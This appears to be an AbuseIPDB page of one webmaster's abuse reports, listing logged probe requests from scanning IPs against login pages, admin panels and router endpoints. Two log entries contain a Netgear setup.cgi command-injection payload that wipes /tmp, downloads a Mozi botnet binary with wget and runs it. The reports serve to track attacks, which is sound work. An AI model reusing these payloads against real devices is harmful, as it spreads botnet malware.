AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User GFVAAServicesLtd , the webmaster of gfvaa.com, joined AbuseIPDB in March 2020 and has reported 6,098 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 192.241.209.111	30 Nov 2021	192.241.209.111 - - [01/Dec/2021:02:54:47 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.209.111 - - [01/Dec/2021:02:54:47 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 54.153.17.89	30 Nov 2021	54.153.17.89 - - [01/Dec/2021:02:50:33 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 590 "-" "Mozil ... show more 54.153.17.89 - - [01/Dec/2021:02:50:33 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 184.171.244.231	30 Nov 2021	184.171.244.231 - - [30/Nov/2021:17:05:05 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5 ... show more 184.171.244.231 - - [30/Nov/2021:17:05:05 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇵🇱 85.128.143.63	30 Nov 2021	85.128.143.63 - - [30/Nov/2021:17:04:48 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 85.128.143.63 - - [30/Nov/2021:17:04:48 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇨🇦 208.103.254.156	30 Nov 2021	208.103.254.156 - - [30/Nov/2021:05:30:18 +0000] "GET /common/info.cgi HTTP/1.1" 401 590 "-" "Mozill ... show more 208.103.254.156 - - [30/Nov/2021:05:30:18 +0000] "GET /common/info.cgi HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393" ... show less	Hacking Web App Attack
🇺🇸 66.172.119.242	30 Nov 2021	66.172.119.242 - - [30/Nov/2021:05:30:12 +0000] "GET /common/info.cgi HTTP/1.1" 401 590 "-" "Mozilla ... show more 66.172.119.242 - - [30/Nov/2021:05:30:12 +0000] "GET /common/info.cgi HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393" ... show less	Hacking Web App Attack
🇹🇷 185.67.34.1	29 Nov 2021	185.67.34.1 - - [30/Nov/2021:02:59:42 +0000] "GET /restapi.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (W ... show more 185.67.34.1 - - [30/Nov/2021:02:59:42 +0000] "GET /restapi.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" ... show less	Hacking Web App Attack
🇺🇸 192.241.193.105	29 Nov 2021	192.241.193.105 - - [30/Nov/2021:02:50:00 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.193.105 - - [30/Nov/2021:02:50:00 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 192.241.209.65	29 Nov 2021	192.241.209.65 - - [30/Nov/2021:01:43:16 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Moz ... show more 192.241.209.65 - - [30/Nov/2021:01:43:16 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 198.199.113.43	28 Nov 2021	198.199.113.43 - - [29/Nov/2021:02:51:26 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp% ... show more 198.199.113.43 - - [29/Nov/2021:02:51:26 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇨🇳 111.179.233.91	28 Nov 2021	111.179.233.91 - - [29/Nov/2021:02:38:39 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ... show more 111.179.233.91 - - [29/Nov/2021:02:38:39 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.179.233.91:58738/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇳🇱 2.56.59.64	28 Nov 2021	2.56.59.64 - - [29/Nov/2021:00:08:11 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "http:/ ... show more 2.56.59.64 - - [29/Nov/2021:00:08:11 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "http://86.133.107.218:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" ... show less	Hacking Web App Attack
🇱🇷 41.86.18.133	28 Nov 2021	41.86.18.133 - - [28/Nov/2021:23:55:55 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more 41.86.18.133 - - [28/Nov/2021:23:55:55 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://41.86.18.133:44051/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇺🇸 192.241.204.149	28 Nov 2021	192.241.204.149 - - [28/Nov/2021:20:47:08 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mo ... show more 192.241.204.149 - - [28/Nov/2021:20:47:08 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇮🇷 185.191.76.27	28 Nov 2021	185.191.76.27 - - [28/Nov/2021:09:55:07 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 185.191.76.27 - - [28/Nov/2021:09:55:07 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇳🇱 178.128.254.132	28 Nov 2021	178.128.254.132 - - [28/Nov/2021:09:54:20 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5 ... show more 178.128.254.132 - - [28/Nov/2021:09:54:20 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 23.183.82.20	28 Nov 2021	23.183.82.20 - - [28/Nov/2021:08:58:33 +0000] "GET http://vip.caoxiaohua.cn/js/app.5cda5727.js HTTP/ ... show more 23.183.82.20 - - [28/Nov/2021:08:58:33 +0000] "GET http://vip.caoxiaohua.cn/js/app.5cda5727.js HTTP/1.1" 401 590 "http://vip.caoxiaohua.cn" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 23.183.83.241	28 Nov 2021	23.183.83.241 - - [28/Nov/2021:08:38:09 +0000] "GET https://api.weaapi.com/w4s/app/home/index HTTP/1 ... show more 23.183.83.241 - - [28/Nov/2021:08:38:09 +0000] "GET https://api.weaapi.com/w4s/app/home/index HTTP/1.1" 401 590 "https://api.weaapi.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 23.183.81.139	28 Nov 2021	23.183.81.139 - - [28/Nov/2021:07:21:04 +0000] "GET https://api.weaapi.com/w4s/app/home/index HTTP/1 ... show more 23.183.81.139 - - [28/Nov/2021:07:21:04 +0000] "GET https://api.weaapi.com/w4s/app/home/index HTTP/1.1" 401 590 "https://api.weaapi.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 192.241.211.31	27 Nov 2021	192.241.211.31 - - [28/Nov/2021:02:47:21 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp% ... show more 192.241.211.31 - - [28/Nov/2021:02:47:21 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇫🇷 82.66.13.78	27 Nov 2021	82.66.13.78 - - [28/Nov/2021:00:08:24 +0000] "GET /pma2011/index.php?lang=en HTTP/1.1" 401 590 "-" " ... show more 82.66.13.78 - - [28/Nov/2021:00:08:24 +0000] "GET /pma2011/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 92.38.148.116	27 Nov 2021	92.38.148.116 - - [27/Nov/2021:17:07:55 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00 ... show more 92.38.148.116 - - [27/Nov/2021:17:07:55 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇺🇸 108.170.55.250	27 Nov 2021	108.170.55.250 - - [27/Nov/2021:12:48:24 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5. ... show more 108.170.55.250 - - [27/Nov/2021:12:48:24 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇷🇴 193.29.14.156	27 Nov 2021	193.29.14.156 - - [27/Nov/2021:12:39:58 +0000] "GET /admin/config.php HTTP/1.1" 400 166 "-" "gbrmss/ ... show more 193.29.14.156 - - [27/Nov/2021:12:39:58 +0000] "GET /admin/config.php HTTP/1.1" 400 166 "-" "gbrmss/7.29.0" ... show less	Hacking Web App Attack
🇺🇸 23.183.81.213	27 Nov 2021	23.183.81.213 - - [27/Nov/2021:09:09:48 +0000] "GET http://cf01-game-tergger.bjzjgz.com/mini/_gini/l ... show more 23.183.81.213 - - [27/Nov/2021:09:09:48 +0000] "GET http://cf01-game-tergger.bjzjgz.com/mini/_gini/lotteryFaceG?_func=GetSoccerHotList&uid=0&token=null&appver=0&os=1&m=16502574&c=0&p=s&s=5c85efb351 HTTP/1.1" 401 590 "http://cf01-game-tergger.bjzjgz.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" ... show less	Hacking Web App Attack